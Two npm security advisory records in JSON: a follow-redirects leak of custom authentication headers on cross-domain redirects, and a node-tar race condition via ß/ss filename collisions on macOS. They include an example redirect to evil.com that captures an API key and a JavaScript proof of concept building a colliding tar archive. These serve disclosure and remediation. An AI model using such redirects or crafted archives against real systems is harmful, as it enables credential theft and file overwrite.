{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.15.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "follow-redirects"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T01:11:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol \u0026\u0026\n   redirectUrl.protocol !== \"https:\" ||\n   redirectUrl.host !== currentHost \u0026\u0026\n   !isSubdomain(redirectUrl.host, currentHost)) {\n  removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { \u0027X-API-Key\u0027: \u0027sk-live-secret123\u0027 }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.",
  "id": "GHSA-r4q5-vmmm-2653",
  "modified": "2026-04-14T01:11:11Z",
  "published": "2026-04-14T01:11:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
    },
    {
      "type": "WEB",
      "url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/follow-redirects/follow-redirects"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:05:49Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "severity": "HIGH"
  },
  "details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n    paths =\n      isWindows ?\n        [\u0027win32 parallelization disabled\u0027]\n      : paths.map(p =\u003e {\n          return stripTrailingSlashes(\n            join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n          ).toLowerCase()\n        })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..\n-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n    path: \u0027collision_ss\u0027,\n    mode: 0o644,\n    size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n    path: \u0027collision_\u00df\u0027,\n    mode: 0o644,\n    size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n    cwd: exploitDir,\n    // Ensure jobs is high enough to allow parallel processing if locks fail\n    jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n    console.log(\u0027[*] Extraction complete\u0027);\n\n    // Check what exists\n    const files = fs.readdirSync(exploitDir);\n    console.log(\u0027[*] Files in exploit dir:\u0027, files);\n    files.forEach(f =\u003e {\n        const p = path.join(exploitDir, f);\n        const stat = fs.statSync(p);\n        const content = fs.readFileSync(p, \u0027utf8\u0027);\n        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n    });\n\n    if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n        console.log(\u0027\\[*] GOOD\u0027);\n    } else {\n        console.log(\u0027[-] No collision\u0027);\n    }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
  "id": "GHSA-r6q2-hw4h-h46w",
  "modified": "2026-03-16T14:23:26Z",
  "published": "2026-01-21T01:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}